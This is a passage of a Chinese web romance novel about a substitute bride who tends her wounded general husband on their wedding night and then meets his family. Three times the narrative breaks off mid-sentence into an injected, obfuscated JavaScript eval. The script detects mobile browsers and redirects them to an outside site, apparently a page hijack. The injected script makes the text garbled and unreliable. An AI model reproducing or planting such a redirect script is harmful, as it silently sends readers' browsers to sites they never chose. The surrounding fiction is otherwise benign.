“我不要你管,你以为你是谁啊?”萧丞原应当是醉了,走路有些不稳,没两步就踉跄一下,只得扶着桌子站好,旋即指着几步之遥的新婚妻子,“你别过来,别……别动!” 他就这么讨厌自己吗?温轻竹愣住了,下意识答道:“好。”便真不敢往前一步了。 话音刚落,只听“嘭”地一声,对面的少将军直直倒下来,磕在了桌子上。 4. 上药 “少将军,少将军?”温轻竹怎么也没料到萧丞原会来这一出,刚刚还放狠话威胁自己的“杀神”将军,就这么倒下了。 她大着胆子上前,想把人扶起来,奈何她一个弱女子力气实在有限,对方不仅纹丝未动,还把她折腾出一身汗。 温轻竹苦恼不已,坐在地上休息了片刻,继续尝试挪动萧丞原,眼看着要把人扶起来了,一个脱力,她硬生生跌倒在他怀里。 盔甲太硬,温轻竹被撞疼了,深吸了一口气,忽然听见“嘶”的一声。 意识到不对劲,连忙往身下看去,难为情道:“少将军,你醒了吗?” “这又是你的新把戏?”萧丞原撑着地面,想要起身,结果却是离趴在身上的女子更近了,不由恼怒道,“还不起来?” 他向来不近女色,先前多少别有用心之人想在他身上用美人计都没讨到好处,任何想近他身的女人都没有好下场。他知道,美人窟,英雄冢。那些女细作只能怪自己命不好,尤其是趁着他旧疾发作时蓄意接近的女子,最后都没有好下场。 忍着疼痛,萧丞原这才仔细打量自己这位所谓的新婚妻子,安定侯府的嫡女,他甚至连名字都记不清,她实在是离自己太近了,还从未有哪个女子胆大包天到以这种姿势接近他。 这位温姑娘,身着大红嫁衣,雪肤花貌不外如是,双眸清澈,似乎还隐含着对他的担忧。甚至她的体温隔着嫁衣,隔着坚硬的铠甲传递给了他,他似乎隐隐感受到了这具娇躯的柔软,相触的地方也无故变得滚烫。 这种感觉很是陌生,若不是现下情况特殊,他早已把这女子甩开了。 “少将军,我这就起。”女子慌忙起身,面上喝醉酒般染上了酡红。 温轻竹退开到合适的位置,意识到什么,忙问道:“少将军,您没事吧?” 先前她还以为萧丞原不胜酒力,喝多了酒所致,可经过方才近距离的接触,她清晰地嗅到,他身上的酒气很淡,反而有着若有若无的血腥气混合着药味…… “你是不是受伤了?我这就去叫大夫。”慌乱之中,温轻竹便要打开房门。 “停下。”萧丞原强撑着身子坐起来,看向自己的新婚妻子,一番折腾下来,气喘吁吁道:“我还死不了。” “那……现在该怎么办?”温轻竹回来,蹲在男人旁边,面色苍白的少将军瞧着怪让人心疼的。 萧丞原闭了闭眼,强忍疼痛伸出手臂,“先扶我去榻上。” 他受伤本就是机密之事,若是此刻暴露出去,绝对有弊无利。再者洞房花烛夜,不知有多少只眼睛盯着将军府,一点风吹草动都会给旁人留下把柄,成为对付将军府的武器。 温轻竹忙不迭照做,小心翼翼将人扶到榻上,作势便要脱去铠甲,“少将军,你伤在哪了?让我看看。” “别……别动。”在战场上一呼百应的少将军哪见过这种架势,受伤的他力气也有限,他的阻挠也只是徒劳。 转眼间,少女已除去铠甲,径直扒开衣襟,大约两寸长的伤口斜在胸口,伤处只草草敷了些止血药,还未曾包扎,若不及时处理,伤口化脓了就不好办了。 “还疼吗?”温轻竹看着眼前的伤口,不敢想象他今日经历了什么,才会连成亲都要迟到,她下意识地朝伤处吹了几口气,“嬷嬷说,吹吹就不疼了。” 萧丞原被少女的举动惊到了,只觉伤口处像被羽毛轻轻挠了一下又一下,痒痒的,随即浑身的血液都涌向那一处,奔腾着要冲破桎梏。 “没用的,”萧丞原瞧了眼不再流血的伤口,摇了摇头,瞥见少女低落的眼神,又补充了一句,“早就不疼了。” “你若真担心我,就去找牧方,他那里有我需要的东西。”说完,不等少女回复,便闭上了眼睛。 今日有一小股潜伏在长安的北狄势力突袭,他也是前一天才得到线报,对方专门趁着他大婚之日,防守松懈之时,预备一举大创萧家军。大喜之日,他不愿双亲忧心,并未告知自己去向,只有二弟萧怀雁及贴身侍从知晓一二,是以他便将迎亲一事托给了二弟。此外,他也想瞧瞧,这传闻娇生惯养的安定侯府嫡女,会如何应对这种突发状况。 没曾想他今日竟不慎被敌人所伤,正欲强撑着追击时,萧怀雁那里传来父亲寻他回府拜堂的消息。为了将军府的名声,也为了掩人耳目,不被人看出破绽,他到底是忍着伤痛,勉勉强强与温氏女行了婚仪。撑到这时,被伤口的痛楚拉扯着,已然疲累至极。 “少将军,我去了。”温轻竹说完,当即走到外间,叫醒了昏昏欲睡的玉露。 “怎么了,姑娘?”玉露揉了揉眼睛,又是担心又是好奇地往里瞧,“少将军他……有没有欺负你?” “都这个时候了,你想什么呢。”温轻竹戳了戳玉露的脑门,面露焦急之色,“少将军身体不适,快去外面找牧方,就说少将军落了东西在他那。” 玉露向来对自家姑娘唯命是从,闻言立即应声出去寻人。 温轻竹忙又补充道:“此事不宜声张。” “是,姑娘。” 温轻竹回到内间,注视着再度痛晕过去的杀神将军,陷入了沉思。 平心而论,榻上的男子确实剑眉星目,担得起贵女们的“春闺梦里人”,长期行军打仗,使得他面部棱角也比常人多了几分坚毅此时因被伤痛折磨,睡梦中的他依旧眉头紧蹙,减轻了些清醒时不易接近的冷漠。 可他到底是年少成名、素有“杀神”之称的大殷战神,她该如何不着痕迹地讨好他,才能在有朝一日身份败露时保全自身呢? “水……渴……” 正盯着战场上杀伐决断的将军出神时,模模糊糊听到对方口中说了什么,但又听不清,于是温轻竹只得凑近了些,耳朵贴近男人苍白的唇,“你说什么?” “水……喝水,渴……”男人断断续续说着。 温热的气息喷洒在耳边,痒痒的,瞬间将耳根催红了,温轻竹“腾”地一下起身,“好,我这就去倒水。” “少将军,水来了。”温轻竹将已经放凉的水端来,尝试着往男人口中倒,可这会儿不知他是不是又陷入了昏迷,双唇紧闭着,喂的水顺着下巴蜿蜒而下。 情急之下,温轻竹也顾不了那么多,喝下一大口水,低头循着他的唇瓣凑了上去…… 这个法子果然奏效,她顺利地喂完了小半杯水。 -- “姑娘,人找来了!” 玉露不大不小的一声喊叫,惊动了榻上的两人。 慌乱之中,温轻竹急着起身,不得不将手搭在男人臂上借力,可这一动,竟唤起了他的感知力,尚未清醒的人下意识就缠了上来…… 萧丞原梦见自己一人走在无边无际的沙漠中,风沙肆虐,前路模糊不清,他走了好久,被太阳晒的嗓子都要冒烟了,可眼前除了一望无际的黄沙,没有一点绿色冒头,他看不到一丁点带来可能希望的绿色。也许,他永远也走不出这片沙漠了。 这样想着,他停下了脚步,不再往前走。如果无论怎样挣扎,都逃不开那一个结果,他何必做无用功呢?与其受尽折磨,不如就在此地被风沙掩埋。 可就在此时,他好似听到了汩汩水流,循声望去,果然在不远处看到了一处活水,他欣喜万分,快速奔去,想要畅饮一番…… “唔……”女子隐忍吃痛的声音,彻底惊醒了梦中的渴水人。 萧丞原睁开眼,第一眼看到的不是站在对面焦急万分的牧方,而是坐在榻边不知所措的新婚妻子,她正盯着小几上的空杯子发愣。 他有心探究,出口却是生硬得很:“怎么回事?” “没……没事,”温轻竹抿了抿发肿的唇,腾出位置给牧方,“快帮少将军瞧瞧吧。” “是,少夫人。”牧方瞥了眼男人脸色,看不出什么,这才大着胆子道,“少将军也太不顾惜自个儿身体了,这伤口一动就要裂,哪经得起折腾。” 要不是他和玉露及时赶到,少将军莫不是要带伤与少夫人圆房了。若非亲眼所见,他怎么也想不到生性冷漠,对女人毫无兴趣的少将军会有这么一天。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少将军这好不容易娶了妻,这种差事儿还是交给夫人妥当些,况且也有利于二人增进感情,毕竟先前两人都当着人那样了。 “还是我来吧。”温轻竹觉得牧方说得有理,萧丞原再怎么不喜她,名义上二人还是夫妻,她何不多做些事,让他改变对自己的偏见呢? 于是她接过金疮药,小心翼翼洒到男人伤口处,两人呼吸相闻,在男人的注视下,她不由得屏息凝神,生怕出了一点错,惹得他不耐烦。 可饶是小心万分,少女的手仍避免不了地触到了男人的胸膛,惊地她指尖轻颤,好不容易才上好了药。 至于缠绷带这事,她更是从未做过,是以,在牧方的帮助下,一刻钟左右才勉勉强强裹住伤处。 期间萧丞原除了小幅度动了几下,并未再恶语相向。 男人的视线落在她看不到的地方,深沉的眼眸里充满了探究。 一切收拾妥当,已接近丑时,房间里只剩沉默相对的两人。 温轻竹觑着榻上面色平静的男人,柔声道:“少将军,我去外间歇息了,有什么需要只管吩咐就好。” 看他伤势,去书房显然是不成了,那便只有她走。左右玉露也在外间歇着,她可以去凑合着挤一挤。 “你留下。”男人抬眸示意不远处的床,悠悠道,“新婚之夜,当然是我们夫妻同寝。” 夫妻?温轻竹被这话钉在了原地,他不是不承认自己是他夫人吗? “怎么,温姑娘这是在害羞?”见她站在原地没有动弹,萧丞原心情好了些,便有心逗逗她。 经过方才的相处,他觉得这温氏女越发难以捉摸,倒不如放在自己眼皮子底下盯着,倘若露出什么端倪,他也能第一时间察觉。 温轻竹捏了捏手心,装作没听见他的问题,强自镇定道:“时候不早了,少将军早些安歇吧,明日一早还要给婆母请安。” 这一夜注定是个不平常的夜晚,有人在陌生的床上辗转难眠,思索自己未来的处境。咫尺之距,有人在狭小的榻上难以安眠,数次睁眼打量少女的睡颜。 5. 请安 温轻竹一觉醒来,睁眼瞧着大红的幔帐,绣着龙凤呈祥的锦被,缓了片刻,才想起已然嫁人的事实。 新妇第一天早上都要给公婆请安,而眼下天已大亮,很显然,她可能第一天就触犯了将军府的规矩。 温轻竹懊恼地从床上坐起来,近侧的榻上早已空空如也。 他走时没有叫她。 第一天就迟到,往后她在将军府还怎么立足啊。 要怪就怪将军府的床太柔软了,她这十几年还从未睡过这么柔软厚实的床。 “玉露?”温轻竹尝试着叫了一声。 好在玉露很快应声前来,担忧道:“姑娘,少将军没有把你怎么样吧?” “他都那样了,你又不是没瞧见。”温轻竹哭笑不得,看了看自己当下的模样,又焦急道,“现在是什么时辰?快帮我梳妆打扮,可不能让婆母久等了。” “已是辰时了,姑娘。”玉露倒是淡定。 卯时就该给公婆请安了,可她竟睡到辰时,温轻竹揉了揉脑门,“你怎么不早点叫醒我?” 完了,这下萧丞原肯定更讨厌她了。凭着之前在安定侯府听来的八卦消息,辅国将军萧鸿晟为人刚直不阿,眼里容不得一粒沙子,是以将军府的规矩恐怕也甚是严苛。她不会才进门便被休弃吧? 玉露不紧不慢地为自家姑娘更衣,闻言,神秘一笑:“这您可得问少将军了。” “问他?” “是啊,姑娘。”玉露语气雀跃,“少将军走前叫醒了奴婢,吩咐说让奴婢好生候着,不要吵醒了姑娘,让姑娘什么时候醒就什么起。” “要我说,少将军对您还挺上心的。” “就你嘴甜。”温轻竹轻笑,她被玉露不着边际的话逗乐了。 总归她如今已是将军府的人,以后都得仰仗萧丞原过活,按照玉露所说,他大抵也并非不近人情的冰疙瘩。看来,她的方向是正确的,还是要多接触他。如此一来,即便日后被安定侯府舍弃,她也不至于落得个凄惨下场。 心稍微定了定,温轻竹端详着镜中已经梳作妇人髻的少女,恍然如梦。这些年她在侯府为了生存吃尽了苦头,何曾有一刻想过未来会觅得什么样的郎君,阴差阳错之下,她却成为了将军府的少夫人。 就是不知,替嫁一事败露时,安定侯会多么地气急败坏,骆宜秋母女又会惹出怎样的乱子,侯府上下鸡飞狗跳,想必是一番热闹景象,只可惜她是见不着了。左右这些也都与她无关了,侯府中她唯一牵挂的只是李嬷嬷而已。 收回飘散的思绪,温轻竹带着玉露去往前厅给公婆请安。 -- 辅国将军夫人吴雪离着紫金牡丹绕玉禾穗长衫,并宝蓝如意比甲,正端坐着品茶,一举一动无不流露出娴雅的气度。 温轻竹忐忑着上前,“儿媳给婆母请安。” “紫衣是吧?”吴雪离一脸亲切,忙招呼道,“来,快坐下,还没用早食吧,先用些茶点垫一下。” “母亲,我叫轻竹。”温轻竹瞟了眼吴雪离握紧她的双手,大着胆子撒了个谎,“您有所不知,紫衣是我一母所出的姐姐。我自小体弱,养在府中足不出户,父亲心疼我,才促成了这桩婚事。” 长安城人人皆知安定侯府嫡女温紫衣,将军府将她误认倒也情有可原,不过她要趁早打消疑虑,只能借此机会说明自己的嫡女身份了。既然是帮安定侯府挡灾,借她个身份用用亦无不可,她这番替嫁也权当还了安定侯十几年来的养育之恩。 “原来如此,”吴雪离慈爱地看着她道,“好孩子,往后都是一家人,你就唤我娘亲吧,我和你爹爹都会好好待你的。” 就是她这儿子天生的感情淡薄,和谁都不亲,就指望他娶亲后改一改这冷淡的性子。 温轻竹闻言,愣了愣,连骆宜秋她都没唤过娘亲,突然这样叫,着实不习惯,思忖片刻,还是道:“婆母这般疼惜轻竹,轻竹实在是受宠若惊,只是礼节不可废,我还是随少将军唤您母亲吧。” “也好,是个知礼节的好孩子。”吴雪离点点头,忽然想到什么,笑吟吟道,“跟母亲说说,昨晚他是不是犯浑欺负你了?” 忆起萧丞原早上出府前,特意交代自己不要为难新妇的神情,她就乐不可支。谁说原儿除了打仗什么都不懂的,这不是开窍了嘛。 “母亲……”温轻竹头皮发麻,怎么一个两个都这么问啊,虽然他们之间没发生什么,可她听都听害羞了。 思索片刻,她决定看在今早萧丞原让她多睡一会的份上,为他说句好话:“没有没有,少将军他很好。” 这娇羞的模样落在吴雪离眼中,又是另一番解读了。平日里端方秀丽的主母,这会儿激动地拍起掌来,“哎呀,老天保佑,我们家原儿出息了,我就说吧准能成,你父亲他还不信。” 温轻竹心道解释不清了,只得硬着头皮打断吴雪离的念叨,“母亲,怎么没看见父亲呢?” “哦,他呀。”吴雪离拈了块糕点,不甚在意道,“他一早便去后院练功了,这会儿估计在书房看书呢。” “他这个人吧,喜好清静,也不在意这些虚礼,不必管他,咱们娘俩儿好好聊会天。” 传闻将军府不是极讲规矩礼数吗?温轻竹心里有些纳闷,但也只好陪吴雪离坐着。好在谈话之间,她也与吴雪离熟络起来,并无任何拘谨。 如果能一直这样下去就好了,这里可比安定侯府好多了。可这一切的前提是,她真是安定侯府嫡女,而事实上她只是个来历不明的低微养女罢了。由骗局开始的姻缘,能持续多久呢? 不过,温轻竹也很快收敛神思,她不是伤春悲秋的性格,任何事情都看得开。小时候被丫鬟欺负,李嬷嬷赶到时心疼不已,而她只是为李嬷嬷擦去泪水,用稚嫩的童音哄着李嬷嬷,说嬷嬷别哭。 若有朝一日,真的身份暴露,将军府容不下自己,大不了她逃走就是了。 -- 温轻竹一上午都陪着吴雪离,聊完天,吴雪离又带她各处走动,把将军府逛了个遍。 到了晌午时,萧丞原才从军营回来。 吴雪离眼含笑意看着儿子:“我和轻竹刚还说你呢,这便回来了,可真是说曹操曹操到。” “说我什么?”萧丞原好奇地看了眼母亲身边乖顺的女子,如果他没眼花的话,方才她脸上还洋溢着笑容,露出两个浅浅的梨涡,可一见他便迅速收起了表情。 轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041523|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹,他在心里默默咀嚼着这个名字,和她倒也相符。他也是刚刚才知晓,自己的新婚妻子名唤温轻竹,是个陌生的名字,不过他之前也没有想过自己将会娶哪个贵女。 他向来不会将工夫浪费在无谓的事情上,不过他此时倒真有些好奇,这位新婚妻子会和母亲说些什么。 昨晚她已答应自己,他受伤的事情不会外传,想来应当不会告诉母亲。难道她趁自己不在,向母亲告状了? 思及此,萧丞原紧盯着少女,想听听她会怎么说。 少女朱唇微启,露出洁白整齐的牙齿,只听她说道:“少将军,母亲方才和我说回门的事情呢。” “我是不会同你回门的。”萧丞原蹙眉,眼神恢复了狠厉,“你若有什么对将军府不利的想法,我劝你趁早打住,否则……”刀剑无眼,倘若伤到了就不划算了。 经过昨夜的相处,他原本以为自己多虑了,顾念她昨晚给自己包扎伤口很晚才睡,早上便允她多睡一会。 可如今看见她和母亲相处得这般融洽,足以见得此女手段非凡。那么,他只能出言警告了。 “这孩子就是防备心重,你别往心里去。”吴雪离连忙哄着儿媳,轻叹道:“他以前虽然为人冷淡,但也没有这么冷冰冰,自从那件事后……” “母亲。”萧丞原出声打断了吴雪离的话。 “好,过去了就不提了。”吴雪离念叨着,拉着温轻竹去用饭。 萧丞原身上发生过什么事呢?纵有满腹疑惑,温轻竹也知道此时不是恰当的时机,便保持缄默,随着吴雪离往前走。 萧怀雁早已候在桌旁,看着丫鬟仆役从厨房鱼贯而出,馋得咽了咽口水,“哇,今天中午这么丰盛啊!” “母亲,父亲怎么还没来啊?” “就你嘴馋。”吴雪离语气中满是宠溺,招呼几人坐下,“将军有事出府了,今天就我们几个一起用饭。” “轻竹,你也别拘束,就当是自己家。”吴雪离亲切地给她夹菜,又道,“不知道你爱吃什么,便吩咐厨房都做了些。” 温轻竹连忙拿碗接住:“谢谢母亲!” 萧怀雁见状,也拿着自个儿的碗,胳膊伸得老长,示意自己也要。 吴雪离无奈地也为他夹了菜,她这小儿子倒是孩子心性。 萧丞原沉默着吃着自己碗里的饭,随便夹了些跟前的菜。食不言寝不语,这是父亲从小教导他的,这女子一来就带坏了规矩,本来二弟生性就活跃,这下更没人管得了他了。 筷子“啪”地一放,萧丞原起身,“母亲,我吃饱了。” “少将军,今日的金针蛤蜊汤不错,你用些吧。”温轻竹拿起汤碗,为他添了一碗汤。 萧丞原寒着脸,连看都没看一眼,抬手道:“不必。” 少女满心诚意端起这碗汤,即将放在桌上时,却因男人抬手的动作,碗里的汤洒出来不少。滚烫的汤汁沿着少女的手,淅淅沥沥滴在地上,她瞧着碗里所剩无几的汤,不知如何是好。 “姑娘,你的手!” 玉露一声惊呼,她才发现,沾了汤汁的左手已经红肿一片,后知后觉地,疼痛突然袭来,瞬间蔓延到心脏,她倒吸了一口凉气。 6. 养伤 “快去拿冰块!”吴雪离忙吩咐自己的丫鬟,又是心疼地拉住温轻竹柔弱无骨的手,“这么好看的手,可不能留疤了。” “原儿也真是,让娘说你什么好。” 吴雪离连连叹气,自己这个儿子好不容易娶了媳妇,满足了自己多年的夙愿,哪承想还是老样子,一点不知道体贴人。 连萧怀雁都放下筷子,忍不住为温轻竹说话:“就是啊,哥哥,嫂子她又没做错什么,你这是不是有点过分了。” 他知道哥哥对这门亲事不满,以至于成亲时故意晾着她。虽然拜堂迟到事出有因,但他相信,以哥哥的行事作风,即便没有北狄势力作乱,也不会轻易让新妇进门。不论怎么说,哥哥最终还是达到了目的,给了温轻竹一个下马威。 但实事求是的说,眼下温轻竹并未表现出任何企图,反而还很关心哥哥,而他却这般不近人情,还让人烫伤了。 丫鬟小跑着端来了冰块,还未来得及说什么,萧丞原一把夺了过来,“怎么这么慢!” “冒冒失失的,也不知你爹怎么想的,把你嫁进将军府。”萧丞原面无表情地接过少女的手,为她冰敷起来,好在那汤已经晾了好一会儿,烫伤得不是很严重。 闻言,温轻竹被握住的手轻颤了下。 安定侯才舍不得嫡亲的女儿嫁进来呢,否则按照他那说一不二的性子,昨天发现她替嫁后就会行动起来弥补过失了,而不是直到现在还没有动静。 也不知她的亲生父母身在何处,他们会忍心自己流落在外艰难求生吗? 萧丞原为她冰敷后,似是失去了最后一丝耐心,对一旁的玉露道:“给你家姑娘上药。” “母亲,我还有事,先去书房了。” “哎,这孩子。”吴雪离对这个儿子也是没法,只能目送他离去,颇有些歉意地看向温轻竹的手,说道,“这几日你先好好养伤,等伤养好了再回门吧。” 温轻竹点头:“都听您的。” “姑娘,手还疼不疼啊?”玉露一边为她上药,一边在心里暗暗对着少将军的背影挥拳头。 姑娘这么好的人,他竟然不知珍惜,还烫伤了姑娘。 温轻竹淡淡道:“不疼了。” 怕吴雪离担忧,她又扯出一个浅淡的笑容来,“母亲,二弟,你们继续用膳吧,我没事的。” 先前在安定侯府,什么样的苦日子她没过过,这点疼痛又算得了什么呢。还是头一次在她受伤时,有这么多人关心她。在吴雪离身上,她感受到了长辈的关怀。 -- 书房。 萧丞原翻开兵书看了好一会,可一个字都没有看进去。他眼前浮现的都是温轻竹。 也不知她身上有什么魔力,怎么母亲和二弟都为她说话。二弟年纪小不懂事也就罢了,可母亲向来是沉静的性子,很少将情绪表露得这么明显,竟也这般回护她,仿佛她才是母亲的嫡亲女儿。 “少将军,昨天那帮人,处理好了吗?”牧方问的是那股北狄的流寇。 “没抓住,让他们逃了。”提起敌寇,萧丞原恢复出了狠厉的眼神,自信道,“残兵败将,不足为惧。” “少将军智勇双全,定能擒拿贼首,一雪前耻!”牧方眼睛转了转,食指点了点兵书,“不过少将军,您的书是不是该翻页了?” 萧丞原迅速翻到新的一页,神情一凛,“牧方,你近来胆子倒是大了不少。” “该回军营负重跑圈了。” 牧方往旁边躲去,似乎很害怕的样子:“小的再也不敢了,少将军饶了我吧。” 他知道少将军只是说说,并不会把自己怎么样。他爹原是老将军的部下,在一次大战中换上老将军的盔甲吸引火力,被敌人万箭穿心而死。老将军便收留了年幼的他,并传授武艺,让他留在少将军身边做了贴身近侍。二人从小一起长大,他们与其说是主仆,倒不如说是兄弟。 “牧方,你也觉得是我的错吗?” 冷不丁被问到这个问题,牧方瞧着他的神色,大着胆子道:“依我看,少夫人也只是关心自己的夫君,并没有做错什么。” “多好的金针蛤蜊汤啊,有些人怕是没口福咯。” 萧丞原:“……” 以后将军府都不要再出现这个汤了。 “我不爱喝汤。”萧丞原放下兵书,皱了皱眉,说道,“怎么连你也帮她说话,她到底给你们灌了什么迷魂汤?” “少将军,你该敞开心扉,去用心感受一下世间最美好的感情。”牧方正色道。又怕他听不懂,恢复到一贯的作风,出了个主意:“你还是去给少夫人服个软吧。” 服软?正在喝水的萧丞原文闻言,一口水咽下去,呛住了。 “瞧你急的。”牧方小声嘀咕道,“在意是心动的开始。” “你说什么?” “哦,没什么。”牧方的身影很快飘出了书房,“少将军您慢慢琢磨吧,将军还有事找我。” 书房里仅剩他一人,萧丞原一直坐到掌灯时分,案上摆着他下午练的几页字。不知为何,他看着这些字,总觉得不似以往写的顺眼。明明当初教他习字的老师说了,练字最能使人平心静气,可他怎么越练越心浮意躁呢? 也不知那女子给他下了什么蛊,他总能想起她的模样:伏在他身上面色绯红的她,给他包扎伤口的她,被烫伤后泫然欲泣的她…… 难道真如牧方所说,是他的错吗? 想着想着,他的视线里再次浮现了温轻竹的身影,她眉眼温柔,提着昏黄的灯,就这样看着他,过了片刻,清脆的声音叫道:“少将军!” 真是魔怔了,萧丞原揉了揉眼睛,定睛一看,那女子还在原地等着,这不是幻觉! “少将军,该换药了。”温轻竹见他没有反应,又重复了一遍。 真是奇怪,今晚的萧丞原似乎有哪里和白天不太一样了。 按照他的性子,唤一遍他便不耐烦地走过来了。可今晚,叫了他好几声,他都没听见似的,只顾瞧着满桌的字发怔。没办法,温轻竹只好从门外走了进来,站在距离他三五步的地方。 “知道了,一会便来。”萧丞原不自在地移开目光,开始整理略显凌乱的书桌。 温轻竹瞧着他生疏的动作,走了过来,“少将军,我来吧。” 她三两下便将桌面整理好,把兵书归置到书架上。随后,看向坐着的萧丞原,示意他该回房换药了。 “走吧。”萧丞原接过灯。 天色渐晚,府里丫鬟小厮已经陆陆续续挂起灯笼,而后各自当差去了。两人一前一后走着,一路上也没碰见什么人。 萧丞原在前面提着灯笼,心中涌起万般思绪,一会想着北狄流寇的去向,一会思及下午牧方说的话。原本走得飞快的步伐,竟不知不觉慢了下来。 而紧随其后的温轻竹,丝毫没有注意到这点,加之后面光线较暗,她怕黑,是以她只能近乎小跑地跟在萧丞原后面,才勉强追得上。冷不防就这样撞在他的后背上。 “呃……”温轻竹的额头犹如触上了铜墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041524|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁壁,顿时疼得倒吸一口凉气,不由伸手揉了揉,克制住痛意,说道:“少将军,还是我来掌灯吧?” “给。”萧丞原转过身,灯光映照着女子此时的容颜,即便被撞疼了,她依然毫无怨言,只眼巴巴瞧着自己手上的灯笼。 这位安定侯府的嫡女,真是让人捉摸不透啊。 温轻竹接过灯笼,自然走在了前面,只不过她步子慢,走路到底不如男子快。萧丞原两步便走到她身旁,与她并列前行。 良久,萧丞原打破了两人之间的沉寂。 他不大自然地问道:“你的手,还疼吗?” 牧方与他说要服软,这样问应当没错吧。当时他瞅了一眼,她的手冰敷及时,应无大碍。 “不疼了,少将军。”温轻竹下意识摸了摸烫伤的地方,其实还隐隐作痛,而她只道,“有劳少将军挂心。” 对她来说,这点疼痛可以忽略不计了,毕竟在安定侯府也没少被磋磨过,更痛的她都经历过。 “没事便好,谁说我是在担心你?”萧丞原瞥了眼身侧窈窕的身影,继续道,“你的手若出了什么岔子,谁为本将军换药。” “所以,为了本将军,也得快点好起来。” 温轻竹才露出一点高兴的苗头,就被无情掐断了,再开口时带了几分失落,“是,少将军。” 她以为他这是关心自己,可原来却是她自作多情,他只是怕自己伤了手耽误为他上药而已。 萧丞原:“……” 他也不知怎么回事,明明刚刚还好好的,可这会儿好像气氛又变得奇怪起来,甚至比先前更加难以忍受了。好在,他们住的东院已在眼前,远远地便瞧见玉露带了两个丫鬟在院门口候着。 看见温轻竹走近了,玉露高兴道:“姑娘,银丝春卷按照您说的炸好了,可香了,您快尝尝吧。” 至于姑娘旁边另一个人,她只当作没瞧见,任凭别的丫鬟对她使眼色扯袖子,她也只是看向别处哼了一声。谁让这位少将军非但不领情,还烫伤了姑娘呢。 温轻竹看向萧丞原,清亮的眸子眨动,说道:“少将军,你也用些吧,中午你就吃的少,晚上也没有用饭,再这样下去,身体吃不消的。” 方才过来这段路程,她已经想通了:左右如今的日子已经比先前好很多了,她本来的想法也不过是好好生存下去,至于其他,路漫漫其修远兮,早晚她会把冰块捂化的。所以,多关心关心冰块,换来他善待自己,何乐而不为呢? “好。”萧丞原望着少女的眼睛,竟不忍拒绝。 他原本过了用饭的时辰,便不会再进食的。从前牧方说他太恪守规矩,反倒古板无趣。如今想来,他说的也不无道理,偶尔破例一次,或许能有意想不到的收获。 两人很快用完了一碟银丝春卷,虽然并未聊什么,倒也觉得有种别样的感觉,心里仿佛前所未有的充盈。 随后,温轻竹麻利地为萧丞原换了药,洗漱完之后,便躺在了床上。 少女翻身侧躺,面向对面的小榻,轻声问道:“少将军,你什么时候不用我守夜啊?” 其实,她是想问,他什么时候能回书房睡,或者让她去和玉露睡也行。实在是她还不习惯和男子睡一个屋,即便这人是她名义上的夫君,她也觉得怪别扭的。 “快睡,睡眠有助于养伤。”萧丞原没有回答她的问题,转而阖上眼,很快传来均匀绵长的呼吸声。 也许少将军今日太累了吧。温轻竹并没有想太多,困意袭来,陷入了黑甜的梦乡。 7. 回门 五日后。 温轻竹才用完早膳,婆婆吴雪离便慈爱地拉起她的手,说道:“轻竹啊,今日天气不错,也该回门向你父母问安了。咱将军府就这条件,倘若侯爷和夫人问起,可千万别惹他们担心。” 温轻竹摇了摇头:“母亲说的哪里话,您和父亲一向待我很好。” “哼,也就那臭小子不识好歹。”辅国将军萧鸿晟脸憋得通红,忍不住道,“许是提前知晓今日要陪轻竹回门,竟一大早溜去了军营,说是要审问细作,真是分不清轻重缓急,是陪妻子回门重要,还是那个劳什子细作重要?” “好了,父亲,少将军也是在忙正事。”温轻竹听了这话,心想那细作多半与他受伤逃不了干系,如今伤还没好透,自然不能轻易放过任何可能。 “轻竹可以自己回去,不妨事的。”温轻照竹善解人意地说道。 原本她也没打算与他一同回门。 那是温紫衣的家,不是她的。对温紫衣来说,是充满温馨快乐的地方。对她来说,却是承载无数痛苦回忆的地方。 再者,如今只有安定侯府知道替嫁真相,她一人回去,兴许还能让众人配合她演的久一点,她在将军府的日子也能过得好一点。 吴雪离为了体面,命人从库房抬了两三箱珍贵物件出来。可温轻竹却并没有收下,而是道:“将军府素来清廉,这些肯定都是父亲和少将军在战场上拼了命挣回来的,轻竹不能要。” 吴雪离道:“这是给安定侯府的回门礼,如今原儿有事不能随你同去,让他们知晓你在这儿过得好,也好宽宽心。” 他们才不会宽心呢,尤其是骆宜秋母女。 “可轻竹听闻,当今圣上厉行勤俭节约,最不喜铺张奢侈。”温轻竹瞧着地上的箱子,顿了顿,道,“若是传到圣上耳中,恐怕不妥。” 而这三箱物件,也许已是将军府的半数家产,岂能这般白送于安定侯府? 见吴雪离神色松动,温轻竹接着道:“在轻竹看来,心意最重要。爹娘向来疼爱我,必不会因这点小事心生不悦,伤了两府和气。” “说的有理。”吴雪离命人将那三箱子物件抬回了库房,一边对温轻竹不舍道,“与侯爷夫人叙完话,可要早些回来啊。” 吴雪离膝下无女,仅两个儿子,偏生萧丞原又那副性子,好不容易娶了妻,这几日相处下来,她自然而然将这儿媳视为亲生女儿般,眼看着她便要回门半日,她自是不舍的。 